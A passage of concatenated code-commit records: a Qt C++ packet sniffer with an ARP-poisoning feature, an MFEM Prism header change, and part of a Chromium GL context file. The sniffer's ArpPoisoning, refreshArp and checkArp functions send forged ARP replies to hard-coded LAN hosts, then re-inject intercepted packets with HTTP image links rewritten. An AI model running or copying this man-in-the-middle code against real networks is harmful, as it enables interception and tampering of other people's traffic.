*it;\n sniffer->Packets.clear();\n for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)\n delete *it;\n this->Packets.clear();\n sniffer->mutex.unlock();\n}\n\nvoid MainWindow::getNewPackets()\n{\n if (counter++ == 20)\n {\n counter = 0;\n this->refreshArp();\n }\n\n sniffer->mutex.lock();\n\n for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)\n {\n checkArp(*(*it));\n insertPacket(*(*it));\n }\n\n sniffer->Packets.clear();\n if (ui->pb_scroll->isChecked())\n ui->tableWidget->scrollToBottom();\n\n sniffer->mutex.unlock();\n}\n\nvoid MainWindow::insertPacket(SniffedPacket &packet)\n{\n int i = ui->tableWidget->rowCount();\n ui->tableWidget->insertRow(i);\n\n insertToIndex(packet.ip_source.c_str(), i, 0);\n insertToIndex(packet.ip_dest.c_str(), i, 1);\n insertToIndex(QString::number(packet.size), i, 2);\n insertToIndex(packet.protocol, i, 3);\n insertToIndex(packet.info, i, 4);\n\n this->Packets.push_back(&packet);\n}\n\nvoid MainWindow::insertToIndex(const QString &str, int row, int col)\n{\n QTableWidgetItem *item = new QTableWidgetItem(str);\n item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);\n if (col != 4)\n item->setTextAlignment(Qt::AlignCenter);\n ui->tableWidget->setItem(row, col, item);\n}\n\nvoid MainWindow::StartSniffing(const std::string &interface)\n{\n this->interface = interface;\n sniffer->Initialize(interface);\n thread->start();\n ui->pb_sniff->setText(\"STOP\");\n}\n\nvoid MainWindow::ToggleSniffer()\n{\n if (this->sniffer->IsSniffing())\n {\n this->sniffer->Stop();\n if (!thread->wait(500))\n {\n thread->terminate();\n thread->wait();\n }\n this->sniffer->DeInitialize();\n ui->pb_sniff->setText(\"START\");\n if (client1 != NULL)\n {\n delete client1;\n delete client2;\n client1 = NULL;\n }\n\n return ;\n }\n\n DialogInterface win(this);\n win.exec();\n}\n\nvoid MainWindow::Save()\n{\n if (this->sniffer->IsSniffing())\n ToggleSniffer();\n\n QString fileName = QFileDialog::getSaveFileName(this, tr(\"Save File\"), \"\", tr(\"PCAP (*.pcap)\"));\n\n std::ofstream file(fileName.toStdString(), std::ios::binary | std::ios::trunc | std::ios::out);\n if (file.is_open())\n {\n pcap_hdr_t\thdr;\n std::memset((char *) &hdr, 0, sizeof(hdr));\n hdr.magic_number = 0xA1B2C3D4;\n hdr.version_major = 2;\n hdr.version_minor = 4;\n hdr.snaplen = 65535;\n hdr.network = 1;\n file.write((char *) &hdr, sizeof(hdr));\n\n pcaprec_hdr_t hdrp;\n std::memset(&hdrp, 0, sizeof(hdrp));\n eth_hdr_t eth_hdr;\n eth_hdr.ether_type = 8;\n for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)\n {\n hdrp.incl_len = (*it)->size;\n if (!(*it)->has_ether_hdr)\n hdrp.incl_len += ETHER_HDR_SIZE;\n hdrp.orig_len = hdrp.incl_len;\n\n file.write((char *) &hdrp, sizeof(hdrp));\n if (!(*it)->has_ether_hdr)\n file.write((char *) ð_hdr, ETHER_HDR_SIZE);\n file.write((*it)->data, (*it)->size);\n }\n\n file.close();\n }\n else\n qDebug() << \"Unable to open file\";\n}\n\nvoid MainWindow::Load()\n{\n if (this->sniffer->IsSniffing())\n ToggleSniffer();\n\n Clear();\n\n QString fileName = QFileDialog::getOpenFileName(this, tr(\"Load File\"), \"\", tr(\"PCAP (*.pcap)\"));\n std::streampos size;\n char *memblock;\n\n std::ifstream file(fileName.toStdString(), std::ios::in | std::ios::binary | std::ios::ate);\n if (file.is_open())\n {\n size = file.tellg();\n memblock = new char [size];\n file.seekg (0, std::ios::beg);\n file.read (memblock, size);\n file.close();\n\n pcap_hdr_t\t&hdr = *(pcap_hdr_t *) memblock;\n if (hdr.magic_number != 0xa1b2c3d4)\n {\n qDebug() << \"Wrong format\";\n return ;\n }\n\n char *cursor = memblock + sizeof(hdr);\n pcaprec_hdr_t *hdrp;\n\n while ((int) (cursor - memblock) < size)\n {\n hdrp = (pcaprec_hdr_t *) cursor;\n\n cursor += sizeof(*hdrp);\n char *data = cursor;\n\n Sniffer::ManagePacket(data, hdrp->incl_len, true);\n cursor += hdrp->incl_len;\n }\n\n delete[] memblock;\n }\n else\n qDebug() << \"Unable to open file\";\n}\n\nvoid MainWindow::ArpPoisoning()\n{\n mac[0] = 0x60;\n mac[1] = 0x67;\n mac[2] = 0x20;\n mac[3] = 0x1a;\n mac[4] = 0xc7;\n mac[5] = 0xd0;\n\n client_t *client = new client_t;\n client->ip = \"192.168.43.123\";\n client->mac[0] = 0x60;\n client->mac[1] = 0x67;\n client->mac[2] = 0x20;\n client->mac[3] = 0x1a;\n client->mac[4] = 0xa2;\n client->mac[5] = 0xfc;\n client1 = client;\n client = new client_t;\n client->ip = \"192.168.43.1\";\n client->mac[0] = 0x98;\n client->mac[1] = 0x0c;\n client->mac[2] = 0x82;\n client->mac[3] = 0xb0;\n client->mac[4] = 0xd7;\n client->mac[5] = 0x68;\n client2 = client;\n}\n\nvoid MainWindow::refreshArp()\n{\n#ifdef __linux__\n if (client1 == NULL || client2 == NULL || !this->sniffer->IsSniffing())\n return;\n\n int sock;\n char packet[PKTLEN];\n struct ether_header *eth = (struct ether_header *) packet;\n struct ether_arp *arp = (struct ether_arp *) (packet + sizeof(struct ether_header));\n struct sockaddr_ll device;\n\n sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));\n if (sock < 0)\n qDebug() << \"fail socket\";\n\n client_t *client = client1;\n for (int i = 0; i < 2; ++i)\n {\n \/\/ To\n sscanf((client == client1 ? client2->ip : client1->ip).c_str(), \"%d.%d.%d.%d\", (int *) &arp->arp_spa[0],\n (int *) &arp->arp_spa[1],\n (int *) &arp->arp_spa[2],\n (int *) &arp->arp_spa[3]);\n \/\/ From\n std::memcpy(arp->arp_tha, client->mac, 6);\n \/\/ By\n std::memcpy(arp->arp_sha, mac, 6);\n\n memcpy(eth->ether_dhost, arp->arp_tha, ETH_ALEN);\n memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);\n eth->ether_type = htons(ETH_P_ARP);\n\n arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);\n arp->ea_hdr.ar_pro = htons(ETH_P_IP);\n arp->ea_hdr.ar_hln = ETH_ALEN;\n arp->ea_hdr.ar_pln = IP4LEN;\n arp->ea_hdr.ar_op = htons(ARPOP_REPLY);\n\n memset(&device, 0, sizeof(device));\n device.sll_ifindex = if_nametoindex(this->interface.c_str());\n device.sll_family = AF_PACKET;\n memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);\n device.sll_halen = htons(ETH_ALEN);\n\n sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));\n client = client2;\n }\n\n ::close(sock);\n#endif\n}\n\nvoid MainWindow::checkArp(SniffedPacket &packet)\n{\n if (client1 == NULL || client2 == NULL || !packet.has_ether_hdr)\n return;\n\n QByteArray array = QByteArray(packet.data + 6, 6);\n QByteArray array2 = QByteArray(mac, 6);\n\n eth_hdr_t *eth = (eth_hdr_t *) packet.data;\n if (strncmp(eth->ether_dhost, mac, 6))\n return;\n\n if (!(client1->ip == packet.ip_source && client2->ip == packet.ip_dest) &&\n !(client2->ip == packet.ip_source && client1->ip == packet.ip_dest))\n return;\n\n int sd;\n struct sockaddr_in sin;\n int one = 1;\n const int *val = &one;\n\n sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);\n if(sd < 0)\n return;\n\n IP_HDR *ip = (IP_HDR *) (packet.data + ETHER_HDR_SIZE);\n\n sin.sin_family = AF_INET;\n sin.sin_port = 0;\n sin.sin_addr.s_addr = ip->ip_destaddr;\n\n if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one)) < 0)\n return;\n\n \/\/ Image replace\n if (packet.protocol == \"TCP\" && packet.dport == 80)\n {\n std::string tofind(\"img src=\");\n std::string toreplace(\"img src=\\\"http:\/\/upload.wikimedia.org\/wikipedia\/fr\/f\/fb\/C-dans-l'air.png\\\"\");\n std::size_t index;\n std::string data(packet.data, packet.size);\n\n while ((index = data.find(tofind)) != std::string::npos)\n {\n packet.size += toreplace.length() - tofind.length();\n data.replace(index, tofind.length(), toreplace);\n }\n }\n\n #ifdef _WIN32\n sendto(sd, packet.data, packet.size, 0, (struct sockaddr *)&sin, sizeof(sin));\n closesocket(sd);\n #elif __linux__\n sendto(sd, packet.data + ETHER_HDR_SIZE, packet.size - ETHER_HDR_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin));\n ::close(sd);\n #endif\n}\n<commit_msg>fix data arp send<commit_after>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n#include \"Sniffer.h\"\n#include \"dialoginterface.h\"\n#include <QFileDialog>\n#include <cstdlib>\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n ui->setupUi(this);\n ui->pb_scroll->setCheckable(true);\n ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);\n client1 = NULL;\n client2 = NULL;\n counter = 0;\n\n thread = new QThread();\n sniffer = new Sniffer();\n sniffer->moveToThread(thread);\n\n QTimer *timer = new QTimer(this);\n timer->setInterval(50);\n timer->start(100);\n connect(thread, SIGNAL(started()), sniffer, SLOT(Start()));\n connect(timer, SIGNAL(timeout()), this, SLOT(getNewPackets()));\n\n connect(ui->pb_sniff, SIGNAL(clicked()), this, SLOT(ToggleSniffer()));\n connect(ui->pb_clear, SIGNAL(clicked()), this, SLOT(Clear()));\n connect(ui->pb_load, SIGNAL(clicked()), this, SLOT(Load()));\n connect(ui->pb_save, SIGNAL(clicked()), this, SLOT(Save()));\n\n#ifdef __linux__\n connect(ui->pb_arp, SIGNAL(clicked()), this, SLOT(ArpPoisoning()));\n#endif\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::Clear()\n{\n sniffer->mutex.lock();\n ui->tableWidget->clearContents();\n ui->tableWidget->setRowCount(0);\n for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)\n delete *it;\n sniffer->Packets.clear();\n for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)\n delete *it;\n this->Packets.clear();\n sniffer->mutex.unlock();\n}\n\nvoid MainWindow::getNewPackets()\n{\n if (counter++ == 20)\n {\n counter = 0;\n this->refreshArp();\n }\n\n sniffer->mutex.lock();\n\n for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)\n {\n checkArp(*(*it));\n insertPacket(*(*it));\n }\n\n sniffer->Packets.clear();\n if (ui->pb_scroll->isChecked())\n ui->tableWidget->scrollToBottom();\n\n sniffer->mutex.unlock();\n}\n\nvoid MainWindow::insertPacket(SniffedPacket &packet)\n{\n int i = ui->tableWidget->rowCount();\n ui->tableWidget->insertRow(i);\n\n insertToIndex(packet.ip_source.c_str(), i, 0);\n insertToIndex(packet.ip_dest.c_str(), i, 1);\n insertToIndex(QString::number(packet.size), i, 2);\n insertToIndex(packet.protocol, i, 3);\n insertToIndex(packet.info, i, 4);\n\n this->Packets.push_back(&packet);\n}\n\nvoid MainWindow::insertToIndex(const QString &str, int row, int col)\n{\n QTableWidgetItem *item = new QTableWidgetItem(str);\n item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled);\n if (col != 4)\n item->setTextAlignment(Qt::AlignCenter);\n ui->tableWidget->setItem(row, col, item);\n}\n\nvoid MainWindow::StartSniffing(const std::string &interface)\n{\n this->interface = interface;\n sniffer->Initialize(interface);\n thread->start();\n ui->pb_sniff->setText(\"STOP\");\n}\n\nvoid MainWindow::ToggleSniffer()\n{\n if (this->sniffer->IsSniffing())\n {\n this->sniffer->Stop();\n if (!thread->wait(500))\n {\n thread->terminate();\n thread->wait();\n }\n this->sniffer->DeInitialize();\n ui->pb_sniff->setText(\"START\");\n if (client1 != NULL)\n {\n delete client1;\n delete client2;\n client1 = NULL;\n }\n\n return ;\n }\n\n DialogInterface win(this);\n win.exec();\n}\n\nvoid MainWindow::Save()\n{\n if (this->sniffer->IsSniffing())\n ToggleSniffer();\n\n QString fileName = QFileDialog::getSaveFileName(this, tr(\"Save File\"), \"\", tr(\"PCAP (*.pcap)\"));\n\n std::ofstream file(fileName.toStdString(), std::ios::binary | std::ios::trunc | std::ios::out);\n if (file.is_open())\n {\n pcap_hdr_t\thdr;\n std::memset((char *) &hdr, 0, sizeof(hdr));\n hdr.magic_number = 0xA1B2C3D4;\n hdr.version_major = 2;\n hdr.version_minor = 4;\n hdr.snaplen = 65535;\n hdr.network = 1;\n file.write((char *) &hdr, sizeof(hdr));\n\n pcaprec_hdr_t hdrp;\n std::memset(&hdrp, 0, sizeof(hdrp));\n eth_hdr_t eth_hdr;\n eth_hdr.ether_type = 8;\n for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++)\n {\n hdrp.incl_len = (*it)->size;\n if (!(*it)->has_ether_hdr)\n hdrp.incl_len += ETHER_HDR_SIZE;\n hdrp.orig_len = hdrp.incl_len;\n\n file.write((char *) &hdrp, sizeof(hdrp));\n if (!(*it)->has_ether_hdr)\n file.write((char *) ð_hdr, ETHER_HDR_SIZE);\n file.write((*it)->data, (*it)->size);\n }\n\n file.close();\n }\n else\n qDebug() << \"Unable to open file\";\n}\n\nvoid MainWindow::Load()\n{\n if (this->sniffer->IsSniffing())\n ToggleSniffer();\n\n Clear();\n\n QString fileName = QFileDialog::getOpenFileName(this, tr(\"Load File\"), \"\", tr(\"PCAP (*.pcap)\"));\n std::streampos size;\n char *memblock;\n\n std::ifstream file(fileName.toStdString(), std::ios::in | std::ios::binary | std::ios::ate);\n if (file.is_open())\n {\n size = file.tellg();\n memblock = new char [size];\n file.seekg (0, std::ios::beg);\n file.read (memblock, size);\n file.close();\n\n pcap_hdr_t\t&hdr = *(pcap_hdr_t *) memblock;\n if (hdr.magic_number != 0xa1b2c3d4)\n {\n qDebug() << \"Wrong format\";\n return ;\n }\n\n char *cursor = memblock + sizeof(hdr);\n pcaprec_hdr_t *hdrp;\n\n while ((int) (cursor - memblock) < size)\n {\n hdrp = (pcaprec_hdr_t *) cursor;\n\n cursor += sizeof(*hdrp);\n char *data = cursor;\n\n Sniffer::ManagePacket(data, hdrp->incl_len, true);\n cursor += hdrp->incl_len;\n }\n\n delete[] memblock;\n }\n else\n qDebug() << \"Unable to open file\";\n}\n\nvoid MainWindow::ArpPoisoning()\n{\n mac[0] = 0x60;\n mac[1] = 0x67;\n mac[2] = 0x20;\n mac[3] = 0x1a;\n mac[4] = 0xc7;\n mac[5] = 0xd0;\n\n client_t *client = new client_t;\n client->ip = \"192.168.43.123\";\n client->mac[0] = 0x60;\n client->mac[1] = 0x67;\n client->mac[2] = 0x20;\n client->mac[3] = 0x1a;\n client->mac[4] = 0xa2;\n client->mac[5] = 0xfc;\n client1 = client;\n client = new client_t;\n client->ip = \"192.168.43.1\";\n client->mac[0] = 0x98;\n client->mac[1] = 0x0c;\n client->mac[2] = 0x82;\n client->mac[3] = 0xb0;\n client->mac[4] = 0xd7;\n client->mac[5] = 0x68;\n client2 = client;\n}\n\nvoid MainWindow::refreshArp()\n{\n#ifdef __linux__\n if (client1 == NULL || client2 == NULL || !this->sniffer->IsSniffing())\n return;\n\n int sock;\n char packet[PKTLEN];\n struct ether_header *eth = (struct ether_header *) packet;\n struct ether_arp *arp = (struct ether_arp *) (packet + sizeof(struct ether_header));\n struct sockaddr_ll device;\n\n sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));\n if (sock < 0)\n qDebug() << \"fail socket\";\n\n client_t *client = client1;\n for (int i = 0; i < 2; ++i)\n {\n \/\/ To\n sscanf((client == client1 ? client2->ip : client1->ip).c_str(), \"%d.%d.%d.%d\", (int *) &arp->arp_spa[0],\n (int *) &arp->arp_spa[1],\n (int *) &arp->arp_spa[2],\n (int *) &arp->arp_spa[3]);\n \/\/ From\n std::memcpy(arp->arp_tha, client->mac, 6);\n \/\/ By\n std::memcpy(arp->arp_sha, mac, 6);\n\n memcpy(eth->ether_dhost, arp->arp_tha, ETH_ALEN);\n memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);\n eth->ether_type = htons(ETH_P_ARP);\n\n arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);\n arp->ea_hdr.ar_pro = htons(ETH_P_IP);\n arp->ea_hdr.ar_hln = ETH_ALEN;\n arp->ea_hdr.ar_pln = IP4LEN;\n arp->ea_hdr.ar_op = htons(ARPOP_REPLY);\n\n memset(&device, 0, sizeof(device));\n device.sll_ifindex = if_nametoindex(this->interface.c_str());\n device.sll_family = AF_PACKET;\n memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);\n device.sll_halen = htons(ETH_ALEN);\n\n sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));\n client = client2;\n }\n\n ::close(sock);\n#endif\n}\n\nvoid MainWindow::checkArp(SniffedPacket &packet)\n{\n if (client1 == NULL || client2 == NULL || !packet.has_ether_hdr)\n return;\n\n QByteArray array = QByteArray(packet.data + 6, 6);\n QByteArray array2 = QByteArray(mac, 6);\n\n eth_hdr_t *eth = (eth_hdr_t *) packet.data;\n if (strncmp(eth->ether_dhost, mac, 6))\n return;\n\n if (!(client1->ip == packet.ip_source && client2->ip == packet.ip_dest) &&\n !(client2->ip == packet.ip_source && client1->ip == packet.ip_dest))\n return;\n\n int sd;\n struct sockaddr_in sin;\n int one = 1;\n const int *val = &one;\n\n sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);\n if(sd < 0)\n return;\n\n IP_HDR *ip = (IP_HDR *) (packet.data + ETHER_HDR_SIZE);\n\n sin.sin_family = AF_INET;\n sin.sin_port = 0;\n sin.sin_addr.s_addr = ip->ip_destaddr;\n\n if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one)) < 0)\n return;\n\n \/\/ Image replace\n std::string data(packet.data, packet.size);\n if (packet.protocol == \"TCP\" && packet.dport == 80)\n {\n std::string tofind(\"img src=\");\n std::string toreplace(\"img src=\\\"http:\/\/upload.wikimedia.org\/wikipedia\/fr\/f\/fb\/C-dans-l'air.png\\\"\");\n std::size_t index;\n\n\n while ((index = data.find(tofind)) != std::string::npos)\n {\n packet.size += toreplace.length() - tofind.length();\n data.replace(index, tofind.length(), toreplace);\n }\n }\n\n #ifdef _WIN32\n sendto(sd, data.c_str(), packet.size, 0, (struct sockaddr *)&sin, sizeof(sin));\n closesocket(sd);\n #elif __linux__\n sendto(sd, packet.data + ETHER_HDR_SIZE, packet.size - ETHER_HDR_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin));\n ::close(sd);\n #endif\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at\n\/\/ the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights\n\/\/ reserved. See file COPYRIGHT for details.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability see http:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the GNU Lesser General Public License (as published by the Free\n\/\/ Software Foundation) version 2.1 dated February 1999.\n\n#ifndef MFEM_PRISM\n#define MFEM_PRISM\n\n#include \"..\/config\/config.hpp\"\n#include \"element.hpp\"\n\nnamespace mfem\n{\n\n\/\/\/ Data type Prism element\nclass Prism : public Element\n{\nprotected:\n int indices[6];\n\n \/\/ Rrefinement not yet supported\n \/\/ int refinement_flag;\n\n \/\/ Not sure what this might be\n \/\/ unsigned transform;\n\npublic:\n typedef Geometry::Constants<Geometry::PRISM> geom_t;\n\n Prism() : Element(Geometry::PRISM) { }\n\n \/\/\/ Constructs prism by specifying the indices and the attribute.\n Prism(const int *ind, int attr = 1);\n\n \/\/\/ Constructs prism by specifying the indices and the attribute.\n Prism(int ind1, int ind2, int ind3, int ind4, int ind5, int ind6,\n int attr = 1);\n\n \/\/\/ Return element's type.\n virtual Type GetType() const { return Element::PRISM; }\n\n \/\/ void ParseRefinementFlag(int refinement_edges[2], int &type, int &flag);\n \/\/ void CreateRefinementFlag(int refinement_edges[2], int type, int flag = 0);\n\n \/\/ void GetMarkedFace(const int face, int *fv);\n\n \/\/ virtual int GetRefinementFlag() { return refinement_flag; }\n\n \/\/ void SetRefinementFlag(int rf) { refinement_flag = rf; }\n\n \/\/\/ Return 1 if the element needs refinement in order to get conforming mesh.\n \/\/ virtual int NeedRefinement(DSTable &v_to_v, int *middle) const;\n\n \/\/\/ Set the vertices according to the given input.\n virtual void SetVertices(const int *ind);\n\n \/\/\/ Mark the longest edge by assuming\/changing the order of the vertices.\n virtual void MarkEdge(DenseMatrix &pmat) { }\n\n \/** Reorder the vertices so that the longest edge is from vertex 0\n to vertex 1. If called it should be once from the mesh constructor,\n because the order may be used later for setting the edges. **\/\n \/\/ virtual void MarkEdge(const DSTable &v_to_v, const int *length);\n\n \/\/ virtual void ResetTransform(int tr) { transform = tr; }\n \/\/ virtual unsigned GetTransform() const { return transform; }\n\n \/\/\/ Add 'tr' to the current chain of coarse-fine transformations.\n \/\/ virtual void PushTransform(int tr)\n \/\/ { transform = (transform << 3) | (tr + 1); }\n\n \/\/\/ Calculate point matrix corresponding to a chain of transformations.\n \/\/ static void GetPointMatrix(unsigned transform, DenseMatrix &pm);\n\n \/\/\/ Returns the indices of the element's vertices.\n virtual void GetVertices(Array<int> &v) const;\n\n virtual int *GetVertices() { return indices; }\n\n virtual int GetNVertices() const { return 6; }\n\n virtual int GetNEdges() const { return 9; }\n\n virtual const int *GetEdgeVertices(int ei) const\n { return geom_t::Edges[ei]; }\n\n virtual int GetNFaces(int &nFaceVertices) const\n { nFaceVertices = 3; return 5; }\n\n virtual int GetNFaceVerticess(int fi) const\n { return ( ( fi < 2 ) ? 3 : 4); }\n\n virtual const int *GetFaceVertices(int fi) const\n { MFEM_ABORT(\"not implemented\"); return NULL; }\n\n virtual Element *Duplicate(Mesh *m) const\n { return new Prism(indices, attribute); }\n\n virtual ~Prism() { }\n};\n\nextern BiLinear3DFiniteElement PrismFE;\n\n}\n\n#endif\n<commit_msg>Implementing Prism::GetFaceVertices<commit_after>\/\/ Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at\n\/\/ the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights\n\/\/ reserved. See file COPYRIGHT for details.\n\/\/\n\/\/ This file is part of the MFEM library. For more information and source code\n\/\/ availability see http:\/\/mfem.org.\n\/\/\n\/\/ MFEM is free software; you can redistribute it and\/or modify it under the\n\/\/ terms of the GNU Lesser General Public License (as published by the Free\n\/\/ Software Foundation) version 2.1 dated February 1999.\n\n#ifndef MFEM_PRISM\n#define MFEM_PRISM\n\n#include \"..\/config\/config.hpp\"\n#include \"element.hpp\"\n\nnamespace mfem\n{\n\n\/\/\/ Data type Prism element\nclass Prism : public Element\n{\nprotected:\n int indices[6];\n\n \/\/ Rrefinement not yet supported\n \/\/ int refinement_flag;\n\n \/\/ Not sure what this might be\n \/\/ unsigned transform;\n\npublic:\n typedef Geometry::Constants<Geometry::PRISM> geom_t;\n\n Prism() : Element(Geometry::PRISM) { }\n\n \/\/\/ Constructs prism by specifying the indices and the attribute.\n Prism(const int *ind, int attr = 1);\n\n \/\/\/ Constructs prism by specifying the indices and the attribute.\n Prism(int ind1, int ind2, int ind3, int ind4, int ind5, int ind6,\n int attr = 1);\n\n \/\/\/ Return element's type.\n virtual Type GetType() const { return Element::PRISM; }\n\n \/\/ void ParseRefinementFlag(int refinement_edges[2], int &type, int &flag);\n \/\/ void CreateRefinementFlag(int refinement_edges[2], int type, int flag = 0);\n\n \/\/ void GetMarkedFace(const int face, int *fv);\n\n \/\/ virtual int GetRefinementFlag() { return refinement_flag; }\n\n \/\/ void SetRefinementFlag(int rf) { refinement_flag = rf; }\n\n \/\/\/ Return 1 if the element needs refinement in order to get conforming mesh.\n \/\/ virtual int NeedRefinement(DSTable &v_to_v, int *middle) const;\n\n \/\/\/ Set the vertices according to the given input.\n virtual void SetVertices(const int *ind);\n\n \/\/\/ Mark the longest edge by assuming\/changing the order of the vertices.\n virtual void MarkEdge(DenseMatrix &pmat) { }\n\n \/** Reorder the vertices so that the longest edge is from vertex 0\n to vertex 1. If called it should be once from the mesh constructor,\n because the order may be used later for setting the edges. **\/\n \/\/ virtual void MarkEdge(const DSTable &v_to_v, const int *length);\n\n \/\/ virtual void ResetTransform(int tr) { transform = tr; }\n \/\/ virtual unsigned GetTransform() const { return transform; }\n\n \/\/\/ Add 'tr' to the current chain of coarse-fine transformations.\n \/\/ virtual void PushTransform(int tr)\n \/\/ { transform = (transform << 3) | (tr + 1); }\n\n \/\/\/ Calculate point matrix corresponding to a chain of transformations.\n \/\/ static void GetPointMatrix(unsigned transform, DenseMatrix &pm);\n\n \/\/\/ Returns the indices of the element's vertices.\n virtual void GetVertices(Array<int> &v) const;\n\n virtual int *GetVertices() { return indices; }\n\n virtual int GetNVertices() const { return 6; }\n\n virtual int GetNEdges() const { return 9; }\n\n virtual const int *GetEdgeVertices(int ei) const\n { return geom_t::Edges[ei]; }\n\n virtual int GetNFaces(int &nFaceVertices) const\n { nFaceVertices = 4; return 5; }\n\n virtual int GetNFaceVerticess(int fi) const\n { return ( ( fi < 2 ) ? 3 : 4); }\n\n virtual const int *GetFaceVertices(int fi) const\n { return geom_t::FaceVert[fi]; }\n \n virtual Element *Duplicate(Mesh *m) const\n { return new Prism(indices, attribute); }\n\n virtual ~Prism() { }\n};\n\nextern BiLinear3DFiniteElement PrismFE;\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This file implements the ViewGLContext and PbufferGLContext classes.\n\n#include <dlfcn.h>\n#include <GL\/glew.h>\n#include <GL\/glxew.h>\n#include <GL\/glx.h>\n#include <GL\/osmew.h>\n#include <X11\/Xlib.h>\n#include <X11\/Xutil.h>\n\n#include \"app\/x11_util.h\"\n#include \"base\/logging.h\"\n#include \"base\/scoped_ptr.h\"\n#include \"app\/gfx\/gl\/gl_context.h\"\n#include \"app\/gfx\/gl\/gl_context_osmesa.h\"\n\nnamespace gfx {\n\ntypedef GLXContext GLContextHandle;\ntypedef GLXPbuffer PbufferHandle;\n\n\/\/ This class is a wrapper around a GL context that renders directly to a\n\/\/ window.\nclass ViewGLContext : public GLContext {\n public:\n explicit ViewGLContext(gfx::PluginWindowHandle window)\n : window_(window),\n context_(NULL) {\n DCHECK(window);\n }\n\n \/\/ Initializes the GL context.\n bool Initialize(bool multisampled);\n\n virtual void Destroy();\n virtual bool MakeCurrent();\n virtual bool IsCurrent();\n virtual bool IsOffscreen();\n virtual void SwapBuffers();\n virtual gfx::Size GetSize();\n virtual void* GetHandle();\n\n private:\n gfx::PluginWindowHandle window_;\n GLContextHandle context_;\n\n DISALLOW_COPY_AND_ASSIGN(ViewGLContext);\n};\n\n\/\/ This class is a wrapper around a GL context used for offscreen rendering.\n\/\/ It is initially backed by a 1x1 pbuffer. Use it to create an FBO to do useful\n\/\/ rendering.\nclass PbufferGLContext : public GLContext {\n public:\n explicit PbufferGLContext()\n : context_(NULL),\n pbuffer_(0) {\n }\n\n \/\/ Initializes the GL context.\n bool Initialize(void* shared_handle);\n\n virtual void Destroy();\n virtual bool MakeCurrent();\n virtual bool IsCurrent();\n virtual bool IsOffscreen();\n virtual void SwapBuffers();\n virtual gfx::Size GetSize();\n virtual void* GetHandle();\n\n private:\n GLContextHandle context_;\n PbufferHandle pbuffer_;\n\n DISALLOW_COPY_AND_ASSIGN(PbufferGLContext);\n};\n\n\/\/ scoped_ptr functor for XFree(). Use as follows:\n\/\/ scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> foo(...);\n\/\/ where \"XVisualInfo\" is any X type that is freed with XFree.\nclass ScopedPtrXFree {\n public:\n void operator()(void* x) const {\n ::XFree(x);\n }\n};\n\n\/\/ Some versions of NVIDIA's GL libGL.so include a broken version of\n\/\/ dlopen\/dlsym, and so linking it into chrome breaks it. So we dynamically\n\/\/ load it, and use glew to dynamically resolve symbols.\n\/\/ See http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=16800\n\nstatic bool InitializeOneOff() {\n static bool initialized = false;\n if (initialized)\n return true;\n\n osmewInit();\n if (!OSMesaCreateContext) {\n void* handle = dlopen(\"libGL.so.1\", RTLD_LAZY | RTLD_GLOBAL);\n if (!handle) {\n LOG(ERROR) << \"Could not find libGL.so.1\";\n return false;\n }\n\n \/\/ Initializes context-independent parts of GLEW\n if (glxewInit() != GLEW_OK) {\n LOG(ERROR) << \"glxewInit failed\";\n return false;\n }\n \/\/ glxewContextInit really only needs a display connection to\n \/\/ complete, and we don't want to have to create an OpenGL context\n \/\/ just to get access to GLX 1.3 entry points to create pbuffers.\n \/\/ We therefore added a glxewContextInitWithDisplay entry point.\n Display* display = x11_util::GetXDisplay();\n if (glxewContextInitWithDisplay(display) != GLEW_OK) {\n LOG(ERROR) << \"glxewContextInit failed\";\n return false;\n }\n }\n\n initialized = true;\n return true;\n}\n\nbool ViewGLContext::Initialize(bool multisampled) {\n if (multisampled) {\n DLOG(WARNING) << \"Multisampling not implemented.\";\n }\n\n Display* display = x11_util::GetXDisplay();\n XWindowAttributes attributes;\n XGetWindowAttributes(display, window_, &attributes);\n XVisualInfo 